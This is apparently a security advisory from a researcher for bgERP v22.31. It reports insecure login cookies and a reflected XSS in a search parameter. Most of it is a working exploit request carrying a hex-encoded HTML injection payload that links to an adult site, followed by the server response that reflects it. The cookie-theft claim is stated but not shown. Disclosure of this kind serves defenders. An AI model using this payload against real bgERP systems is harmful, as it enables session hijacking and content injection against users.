bgERP 22.31 Cross Site Scripting

`## Title: bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS)  
## Author: nu11secur1ty  
## Date: 01.31.2023  
## Vendor: https://bgerp.com/Bg/Za-sistemata  
## Software: https://github.com/bgerp/bgerp/releases/tag/v22.31  
## Reference: https://portswigger.net/kb/issues/00500b01_cookie-manipulation-reflected-dom-based  
  
## Description:  
The bgERP system suffers from unsecured login cookies in which cookies  
are stored as very sensitive login and also login session information!  
The attacker can trick the already login user and can steal the  
already generated cookie from the system and can do VERY DANGEROUS  
things with the already stored sensitive information.  
This can be very expensive for all companies which are using this  
system, please be careful!  
Also, this system has a vulnerable search parameter for XSS-Reflected attacks!  
  
## STATUS: HIGH Vulnerability  
  
[+] Exploit:  
  
```GET  
GET /Portal/Show?recentlySearch_14=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%64%6c%2e%70%68%6e%63%64%6e%2e%63%6f%6d%2f%67%69%66%2f%34%31%31%36%35%37%36%31%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&Cmd%5Bdefault%5D=1  
HTTP/1.1  
Host: 192.168.100.77:8080  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://192.168.100.77:8080/Portal/Show  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: SID=rfn0jpm60epeabc1jcrkhgr9c3; brid=MC9tQnJQ_438f57; menuInfo=1254:l :0  
Connection: close  
Content-Length: 0  
```  
  
[+] Response after logout of the system:  
```HTTP  
HTTP/1.1 302 Found  
Date: Tue, 31 Jan 2023 15:13:26 GMT  
Server: Apache/2.4.41 (Ubuntu)  
Expires: 0  
Cache-Control: no-cache, must-revalidate  
Location: /core_Users/login/?ret_url=bgerp%2FPortal%2FShow%2FrecentlySearch_14%2F%253Ca%2Bhref%253D%2522https%253A%252F%252Fpornhub.com%252F%2522%2Btarget%253D%2522_blank%2522%2Brel%253D%2522noopener%2Bnofollow%2Bugc%2522%253E%250A%253Cimg%2Bsrc%253D%2522https%253A%252F%252Fdl.phncdn.com%252Fgif%252F41165761.gif%253F%253Ftoken%253DGHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ%2526rs%253D1%2522%2Bstyle%253D%2522border%253A1px%2Bsolid%2Bblack%253Bmax-width%253A100%2525%253B%2522%2Balt%253D%2522Photo%2Bof%2BByron%2BBay%252C%2Bone%2Bof%2BAustralia%2527s%2Bbest%2Bbeaches%2521%2522%253E%250A%253C%252Fa%253E%2FCmd%2Cdefault%2F1%2FCmd%2Crefresh%2F1_48f6f472  
Connection: close  
Content-Length: 2  
Content-Encoding: none  
Content-Type: text/html; charset=UTF-8  
  
OK  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bgERP/2023/brERP-v22.31-Cookie-Session-vulnerability%2BXSS-Reflected)  
  
## Proof and Exploit:  
[href](https://streamable.com/xhffdu)  
  
## Time spent  
`01:30:00`  
  
`